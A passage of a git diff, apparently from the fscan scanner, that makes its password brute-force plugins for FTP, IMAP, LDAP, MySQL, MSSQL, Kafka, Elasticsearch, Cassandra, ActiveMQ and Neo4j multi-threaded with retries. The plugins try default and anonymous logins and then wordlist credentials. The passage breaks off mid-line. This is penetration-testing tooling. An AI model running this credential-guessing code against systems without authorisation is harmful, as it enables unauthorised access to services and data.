+++ b/Common/Flag.go @@ -114,6 +114,7 @@ func Flag(Info *HostInfo) { // 暴力破解配置 flag.BoolVar(&DisableBrute, "nobr", false, "禁用密码暴力破解") flag.IntVar(&BruteThreads, "br", 1, "设置密码破解线程数") + flag.IntVar(&MaxRetries, "retry", 3, "设置最大重试次数") // 其他配置 flag.StringVar(&RemotePath, "path", "", "指定FCG/SMB远程文件路径") diff --git a/Common/Log.go b/Common/Log.go index c7e0dae..bfa6f96 100644 --- a/Common/Log.go +++ b/Common/Log.go @@ -137,13 +137,13 @@ func LogError(errinfo interface{}) { } } -// CheckErrs 检查是否为已知错误 -func CheckErrs(err error) bool { +// CheckErrs 检查是否为需要重试的错误 +func CheckErrs(err error) error { if err == nil { - return false + return nil } - // 已知错误列表 + // 已知需要重试的错误列表 errs := []string{ "closed by the remote host", "too many connections", "EOF", "A connection attempt failed", @@ -159,9 +159,10 @@ func CheckErrs(err error) bool { errLower := strings.ToLower(err.Error()) for _, key := range errs { if strings.Contains(errLower, strings.ToLower(key)) { - return true + time.Sleep(3 * time.Second) + return err } } - return false + return nil } diff --git a/Plugins/ActiveMQ.go b/Plugins/ActiveMQ.go index 31b1ed6..7110199 100644 --- a/Plugins/ActiveMQ.go +++ b/Plugins/ActiveMQ.go @@ -5,6 +5,7 @@ import ( "github.com/shadow1ng/fscan/Common" "net" "strings" + "sync" "time" ) @@ -14,39 +15,127 @@ func ActiveMQScan(info *Common.HostInfo) (tmperr error) { return } - starttime := time.Now().Unix() + maxRetries := Common.MaxRetries + threads := Common.BruteThreads // 首先测试默认账户 - flag, err := ActiveMQConn(info, "admin", "admin") - if flag { - return nil + for retryCount := 0; retryCount < maxRetries; retryCount++ { + flag, err := ActiveMQConn(info, "admin", "admin") + if flag { + return nil + } + if err != nil { + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue + } + } + break } - tmperr = err - // 尝试用户名密码组合 + // 创建任务通道 + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["activemq"])*len(Common.Passwords)) + + resultChan := make(chan error, threads) + + // 生成所有用户名密码组合任务 for _, user := range Common.Userdict["activemq"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + close(taskChan) - flag, err := ActiveMQConn(info, user, pass) - if flag { - return nil + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + starttime := time.Now().Unix() + + for task := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } + + // 执行连接测试 + done := make(chan struct { + success bool + err error + }) + + go func(user, pass string) { + flag, err := ActiveMQConn(info, user, pass) + done <- struct { + success bool + err error + }{flag, err} + }(task.user, task.pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success { + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + if err != nil { + errlog := fmt.Sprintf("[-] ActiveMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, task.user, task.pass, err) + Common.LogError(errlog) + + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue + } + } + + break + } } + resultChan <- nil + }() + } - errlog := fmt.Sprintf("[-] ActiveMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", - info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { tmperr = err - - if Common.CheckErrs(err) { - return err - } - - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["activemq"])*len(Common.Passwords)) * Common.Timeout) { + if retryErr := Common.CheckErrs(err); retryErr != nil { return err } } } + return tmperr } diff --git a/Plugins/Cassandra.go b/Plugins/Cassandra.go index ea4c4da..efe6285 100644 --- a/Plugins/Cassandra.go +++ b/Plugins/Cassandra.go @@ -6,6 +6,7 @@ import ( "github.com/shadow1ng/fscan/Common" "strconv" "strings" + "sync" "time" ) @@ -14,37 +15,126 @@ func CassandraScan(info *Common.HostInfo) (tmperr error) { return } + maxRetries := Common.MaxRetries + threads := Common.BruteThreads starttime := time.Now().Unix() // 首先测试无认证访问 - flag, err := CassandraConn(info, "", "") - if flag && err == nil { - return err + for retryCount := 0; retryCount < maxRetries; retryCount++ { + flag, err := CassandraConn(info, "", "") + if flag && err == nil { + return err + } + if err != nil && Common.CheckErrs(err) != nil { + if retryCount == maxRetries-1 { + return err + } + continue + } + break } - // 尝试用户名密码组合 + // 创建任务通道 + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["cassandra"])*len(Common.Passwords)) + + resultChan := make(chan error, threads) + + // 生成所有用户名密码组合任务 for _, user := range Common.Userdict["cassandra"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + close(taskChan) - flag, err := CassandraConn(info, user, pass) - if flag && err == nil { - return err + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + for task := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } + + // 执行连接 + done := make(chan struct { + success bool + err error + }) + + go func(user, pass string) { + success, err := CassandraConn(info, user, pass) + done <- struct { + success bool + err error + }{success, err} + }(task.user, task.pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[-] Cassandra服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, task.user, task.pass, err) + Common.LogError(errlog) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 + } } + resultChan <- nil + }() + } - errlog := fmt.Sprintf("[-] Cassandra服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { tmperr = err - - if Common.CheckErrs(err) { - return err - } - - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["cassandra"])*len(Common.Passwords)) * Common.Timeout) { + if retryErr := Common.CheckErrs(err); retryErr != nil { return err } } } + return tmperr } diff --git a/Plugins/Elasticsearch.go b/Plugins/Elasticsearch.go index 2536265..a5a3371 100644 --- a/Plugins/Elasticsearch.go +++ b/Plugins/Elasticsearch.go @@ -7,6 +7,7 @@ import ( "github.com/shadow1ng/fscan/Common" "net/http" "strings" + "sync" "time" ) @@ -16,40 +17,127 @@ func ElasticScan(info *Common.HostInfo) (tmperr error) { return } - starttime := time.Now().Unix() + maxRetries := Common.MaxRetries + threads := Common.BruteThreads // 首先测试无认证访问 - flag, err := ElasticConn(info, "", "") - if flag && err == nil { - return err + for retryCount := 0; retryCount < maxRetries; retryCount++ { + flag, err := ElasticConn(info, "", "") + if flag && err == nil { + return err + } + if err != nil && Common.CheckErrs(err) != nil { + if retryCount == maxRetries-1 { + return err + } + continue + } + break } - // 尝试用户名密码组合 + // 创建任务通道 + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["elastic"])*len(Common.Passwords)) + + resultChan := make(chan error, threads) + + // 生成所有用户名密码组合任务 for _, user := range Common.Userdict["elastic"] { for _, pass := range Common.Passwords { - // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + close(taskChan) - flag, err := ElasticConn(info, user, pass) - if flag && err == nil { - return err + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + starttime := time.Now().Unix() + + for task := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } + + // 执行连接尝试 + done := make(chan struct { + success bool + err error + }) + + go func(user, pass string) { + flag, err := ElasticConn(info, user, pass) + done <- struct { + success bool + err error + }{flag, err} + }(task.user, task.pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[-] Elasticsearch服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, task.user, task.pass, err) + Common.LogError(errlog) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 + } } + resultChan <- nil + }() + } - // 记录错误信息 - errlog := fmt.Sprintf("[-] Elasticsearch服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { tmperr = err - - if Common.CheckErrs(err) { - return err - } - - // 超时检查 - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["elastic"])*len(Common.Passwords)) * Common.Timeout) { + if retryErr := Common.CheckErrs(err); retryErr != nil { return err } } } + return tmperr } diff --git a/Plugins/FTP.go b/Plugins/FTP.go index 960ba4b..3993a62 100644 --- a/Plugins/FTP.go +++ b/Plugins/FTP.go @@ -5,57 +5,140 @@ import ( "github.com/jlaffaye/ftp" "github.com/shadow1ng/fscan/Common" "strings" + "sync" "time" ) // FtpScan 执行FTP服务扫描 func FtpScan(info *Common.HostInfo) (tmperr error) { - // 如果已开启暴力破解则直接返回 if Common.DisableBrute { return } - starttime := time.Now().Unix() + maxRetries := Common.MaxRetries + threads := Common.BruteThreads - // 尝试匿名登录 - flag, err := FtpConn(info, "anonymous", "") - if flag && err == nil { - // 匿名登录成功,不需要继续尝试其他密码 - return nil - } - errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err) - Common.LogError(errlog) - tmperr = err - if Common.CheckErrs(err) { - return err + // 先尝试匿名登录 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + flag, err := FtpConn(info, "anonymous", "") + if flag && err == nil { + return nil + } + errlog := fmt.Sprintf("[-] ftp %v:%v %v %v", info.Host, info.Ports, "anonymous", err) + Common.LogError(errlog) + + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + return err + } + continue + } + break } - // 尝试用户名密码组合 + // 创建任务通道 + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["ftp"])*len(Common.Passwords)) + + resultChan := make(chan error, threads) + + // 生成所有用户名密码组合任务 for _, user := range Common.Userdict["ftp"] { for _, pass := range Common.Passwords { - // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + close(taskChan) - flag, err := FtpConn(info, user, pass) - if flag && err == nil { - return err + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + starttime := time.Now().Unix() + + for task := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } + + // 执行FTP连接 + done := make(chan struct { + success bool + err error + }) + + go func(user, pass string) { + success, err := FtpConn(info, user, pass) + done <- struct { + success bool + err error + }{success, err} + }(task.user, task.pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", + info.Host, info.Ports, task.user, task.pass, err) + Common.LogError(errlog) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 + } } + resultChan <- nil + }() + } - // 记录错误信息 - errlog := fmt.Sprintf("[-] ftp %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { tmperr = err - - if Common.CheckErrs(err) { - return err - } - - // 超时检查 - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["ftp"])*len(Common.Passwords)) * Common.Timeout) { + if retryErr := Common.CheckErrs(err); retryErr != nil { return err } } } + return tmperr } diff --git a/Plugins/IMAP.go b/Plugins/IMAP.go index fb6e269..f877d96 100644 --- a/Plugins/IMAP.go +++ b/Plugins/IMAP.go @@ -8,6 +8,7 @@ import ( "io" "net" "strings" + "sync" "time" ) @@ -16,31 +17,107 @@ func IMAPScan(info *Common.HostInfo) (tmperr error) { return } - starttime := time.Now().Unix() + maxRetries := Common.MaxRetries + threads := Common.BruteThreads - // 尝试用户名密码组合 + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["imap"])*len(Common.Passwords)) + + resultChan := make(chan error, threads) + + // 生成所有用户名密码组合任务 for _, user := range Common.Userdict["imap"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + close(taskChan) - flag, err := IMAPConn(info, user, pass) - if flag && err == nil { - return err + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + starttime := time.Now().Unix() + + for task := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } + + // 执行IMAP连接 + done := make(chan struct { + success bool + err error + }) + + go func(user, pass string) { + success, err := IMAPConn(info, user, pass) + done <- struct { + success bool + err error + }{success, err} + }(task.user, task.pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[-] IMAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, task.user, task.pass, err) + Common.LogError(errlog) + + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue + } + } + + break + } } + resultChan <- nil + }() + } - errlog := fmt.Sprintf("[-] IMAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) + go func() { + wg.Wait() + close(resultChan) + }() + + for err := range resultChan { + if err != nil { tmperr = err - - if Common.CheckErrs(err) { - return err - } - - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["imap"])*len(Common.Passwords)) * Common.Timeout) { + if retryErr := Common.CheckErrs(err); retryErr != nil { return err } } } + return tmperr } diff --git a/Plugins/Kafka.go b/Plugins/Kafka.go index 698dcf1..d4d4047 100644 --- a/Plugins/Kafka.go +++ b/Plugins/Kafka.go @@ -5,6 +5,7 @@ import ( "github.com/IBM/sarama" "github.com/shadow1ng/fscan/Common" "strings" + "sync" "time" ) @@ -14,37 +15,127 @@ func KafkaScan(info *Common.HostInfo) (tmperr error) { return } - starttime := time.Now().Unix() + maxRetries := Common.MaxRetries + threads := Common.BruteThreads // 首先测试无认证访问 - flag, err := KafkaConn(info, "", "") - if flag && err == nil { - return err + for retryCount := 0; retryCount < maxRetries; retryCount++ { + flag, err := KafkaConn(info, "", "") + if flag && err == nil { + return nil + } + if err != nil && Common.CheckErrs(err) != nil { + if retryCount < maxRetries-1 { + continue + } + return err + } + break } - // 尝试用户名密码组合 + // 创建任务通道 + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["kafka"])*len(Common.Passwords)) + + resultChan := make(chan error, threads) + + // 生成所有用户名密码组合任务 for _, user := range Common.Userdict["kafka"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + close(taskChan) - flag, err := KafkaConn(info, user, pass) - if flag && err == nil { - return err + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + starttime := time.Now().Unix() + + for task := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } + + // 执行Kafka连接 + done := make(chan struct { + success bool + err error + }) + + go func(user, pass string) { + success, err := KafkaConn(info, user, pass) + done <- struct { + success bool + err error + }{success, err} + }(task.user, task.pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[-] Kafka服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, task.user, task.pass, err) + Common.LogError(errlog) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 + } } + resultChan <- nil + }() + } - errlog := fmt.Sprintf("[-] Kafka服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { tmperr = err - - if Common.CheckErrs(err) { - return err - } - - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["kafka"])*len(Common.Passwords)) * Common.Timeout) { + if retryErr := Common.CheckErrs(err); retryErr != nil { return err } } } + return tmperr } diff --git a/Plugins/LDAP.go b/Plugins/LDAP.go index 23b6531..1a2e84f 100644 --- a/Plugins/LDAP.go +++ b/Plugins/LDAP.go @@ -5,6 +5,7 @@ import ( "github.com/go-ldap/ldap/v3" "github.com/shadow1ng/fscan/Common" "strings" + "sync" "time" ) @@ -14,38 +15,118 @@ func LDAPScan(info *Common.HostInfo) (tmperr error) { return } - starttime := time.Now().Unix() + maxRetries := Common.MaxRetries + threads := Common.BruteThreads - // 尝试匿名访问 + // 首先尝试匿名访问 flag, err := LDAPConn(info, "", "") if flag && err == nil { return err } - // 尝试用户名密码组合 + // 创建任务通道 + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["ldap"])*len(Common.Passwords)) + + resultChan := make(chan error, threads) + + // 生成所有用户名密码组合任务 for _, user := range Common.Userdict["ldap"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + close(taskChan) - flag, err := LDAPConn(info, user, pass) - if flag && err == nil { - return err + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + starttime := time.Now().Unix() + + for task := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } + + // 执行LDAP连接 + done := make(chan struct { + success bool + err error + }) + + go func(user, pass string) { + success, err := LDAPConn(info, user, pass) + done <- struct { + success bool + err error + }{success, err} + }(task.user, task.pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[-] LDAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + info.Host, info.Ports, task.user, task.pass, err) + Common.LogError(errlog) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 + } } + resultChan <- nil + }() + } - errlog := fmt.Sprintf("[-] LDAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", - info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { tmperr = err - - if Common.CheckErrs(err) { - return err - } - - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["ldap"])*len(Common.Passwords)) * Common.Timeout) { + if retryErr := Common.CheckErrs(err); retryErr != nil { return err } } } + return tmperr } diff --git a/Plugins/MSSQL.go b/Plugins/MSSQL.go index c4ea972..6066ab1 100644 --- a/Plugins/MSSQL.go +++ b/Plugins/MSSQL.go @@ -6,6 +6,7 @@ import ( _ "github.com/denisenkom/go-mssqldb" "github.com/shadow1ng/fscan/Common" "strings" + "sync" "time" ) @@ -15,34 +16,108 @@ func MssqlScan(info *Common.HostInfo) (tmperr error) { return } - starttime := time.Now().Unix() + maxRetries := Common.MaxRetries + threads := Common.BruteThreads - // 尝试用户名密码组合 + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["mssql"])*len(Common.Passwords)) + + resultChan := make(chan error, threads) + + // 生成所有用户名密码组合任务 for _, user := range Common.Userdict["mssql"] { for _, pass := range Common.Passwords { - // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + close(taskChan) - flag, err := MssqlConn(info, user, pass) - if flag && err == nil { - return err + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + starttime := time.Now().Unix() + + for task := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } + + // 执行MSSQL连接 + done := make(chan struct { + success bool + err error + }) + + go func(user, pass string) { + success, err := MssqlConn(info, user, pass) + done <- struct { + success bool + err error + }{success, err} + }(task.user, task.pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + if err != nil { + errlog := fmt.Sprintf("[-] MSSQL %v:%v %v %v %v", + info.Host, info.Ports, task.user, task.pass, err) + Common.LogError(errlog) + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + } + + break // 如果不需要重试,跳出重试循环 + } } + resultChan <- nil + }() + } - // 记录错误信息 - errlog := fmt.Sprintf("[-] MSSQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { tmperr = err - - if Common.CheckErrs(err) { - return err - } - - // 超时检查 - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mssql"])*len(Common.Passwords)) * Common.Timeout) { + if retryErr := Common.CheckErrs(err); retryErr != nil { return err } } } + return tmperr } diff --git a/Plugins/MySQL.go b/Plugins/MySQL.go index 1b03a37..2d909dc 100644 --- a/Plugins/MySQL.go +++ b/Plugins/MySQL.go @@ -6,6 +6,7 @@ import ( _ "github.com/go-sql-driver/mysql" "github.com/shadow1ng/fscan/Common" "strings" + "sync" "time" ) @@ -15,34 +16,138 @@ func MysqlScan(info *Common.HostInfo) (tmperr error) { return } - starttime := time.Now().Unix() + maxRetries := Common.MaxRetries + threads := Common.BruteThreads - // 尝试用户名密码组合 + // 添加成功标志通道 + successChan := make(chan struct{}, 1) + defer close(successChan) + + // 创建任务通道 + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["mysql"])*len(Common.Passwords)) + + resultChan := make(chan error, threads) + + // 生成所有用户名密码组合任务 for _, user := range Common.Userdict["mysql"] { for _, pass := range Common.Passwords { - // 替换密码中的用户名占位符 pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + close(taskChan) - flag, err := MysqlConn(info, user, pass) - if flag && err == nil { - return err + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + starttime := time.Now().Unix() + + for task := range taskChan { + // 检查是否已经成功 + select { + case <-successChan: + resultChan <- nil + return + default: + } + + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + resultChan <- fmt.Errorf("扫描超时") + return + } + + // 执行MySQL连接 + done := make(chan struct { + success bool + err error + }) + + go func(user, pass string) { + success, err := MysqlConn(info, user, pass) + done <- struct { + success bool + err error + }{success, err} + }(task.user, task.pass) + + // 等待结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success && err == nil { + // 连接成功 + select { + case successChan <- struct{}{}: // 标记成功 + successLog := fmt.Sprintf("[+] MySQL %v:%v %v %v", + info.Host, info.Ports, task.user, task.pass) + Common.LogSuccess(successLog) + default: + } + resultChan <- nil + return + } + case <-time.After(time.Duration(Common.Timeout) * time.Second): + err = fmt.Errorf("连接超时") + } + + // 处理错误情况 + if err != nil { + errlog := fmt.Sprintf("[-] MySQL %v:%v %v %v %v", + info.Host, info.Ports, task.user, task.pass, err) + Common.LogError(errlog) + + // 特殊处理认证失败的情况 + if strings.Contains(err.Error(), "Access denied") { + break // 跳出重试循环,继续下一个密码 + } + + // 检查是否需要重试 + if retryErr := Common.CheckErrs(err); retryErr != nil { + if retryCount == maxRetries-1 { + resultChan <- err + return + } + continue // 继续重试 + } + break // 如果不需要重试,跳出重试循环 + } + } } + resultChan <- nil + }() + } - // 记录错误信息 - errlog := fmt.Sprintf("[-] MySQL %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - Common.LogError(errlog) + // 等待所有线程完成 + go func() { + wg.Wait() + close(resultChan) + }() + + // 检查结果 + for err := range resultChan { + if err != nil { tmperr = err - - if Common.CheckErrs(err) { - return err - } - - // 超时检查 - if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mysql"])*len(Common.Passwords)) * Common.Timeout) { - return err + if !strings.Contains(err.Error(), "Access denied") { + if retryErr := Common.CheckErrs(err); retryErr != nil { + return err + } } } } + return tmperr } @@ -74,8 +179,6 @@ func MysqlConn(info *Common.HostInfo, user string, pass string) (bool, error) { return false, err } - // 连接成功 - result := fmt.Sprintf("[+] MySQL %v:%v:%v %v", host, port, username, password) - Common.LogSuccess(result) + // 连接成功,只返回结果,不打印日志 return true, nil } diff --git a/Plugins/Neo4j.go b/Plugins/Neo4j.go index f8d0753..e7135b7 100644 --- a/Plugins/Neo4j.go +++ b/Plugins/Neo4j.go @@ -5,6 +5,7 @@ import ( "github.com/neo4j/neo4j-go-driver/v4/neo4j" "github.com/shadow1ng/fscan/Common" "strings" + "sync" "time" ) @@ -14,43 +15,128 @@ func Neo4jScan(info *Common.HostInfo) (tmperr error) { return } - starttime := time.Now().Unix() + maxRetries := Common.MaxRetries + threads := Common.BruteThreads - // 首先测试无认证访问 - flag, err := Neo4jConn(info, "", "") - if flag && err == nil { - return err + // 首先测试无认证访问和默认凭证 + initialChecks := []struct { + user string + pass string + }{ + {"", ""}, // 无认证 + {"neo4j", "neo4j"}, // 默认凭证 } - // 测试默认凭证 - flag, err = Neo4jConn(info, "neo4j", "neo4j") - if flag && err == nil { - return err + for _, check := range initialChecks { + flag, err := Neo4jConn(info, check.user, check.pass) + if flag && err == nil { + return err + } } - // 尝试其他用户名密码组合 + // 创建任务通道 + taskChan := make(chan struct { + user string + pass string + }, len(Common.Userdict["neo4j"])*len(Common.Passwords)) + + resultChan := make(chan error, threads) + + // 生成所有用户名密码组合任务 for _, user := range Common.Userdict["neo4j"] { for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) + taskChan <- struct { + user string + pass string + }{user, pass} + } + } + close(taskChan) - flag, err := Neo4jConn(info, user, pass) - if flag && err == nil { - return err + // 启动工作线程 + var wg sync.WaitGroup + for i := 0; i < threads; i++ { + wg.Add(1) + go func() { + defer wg.Done() + starttime := time.Now().Unix() + + for task := range taskChan { + // 重试循环 + for retryCount := 0; retryCount < maxRetries; retryCount++ { + // 检查是否超时 + if time.Now().Unix()-starttime > int64(Common.Timeout) { + resultChan <- 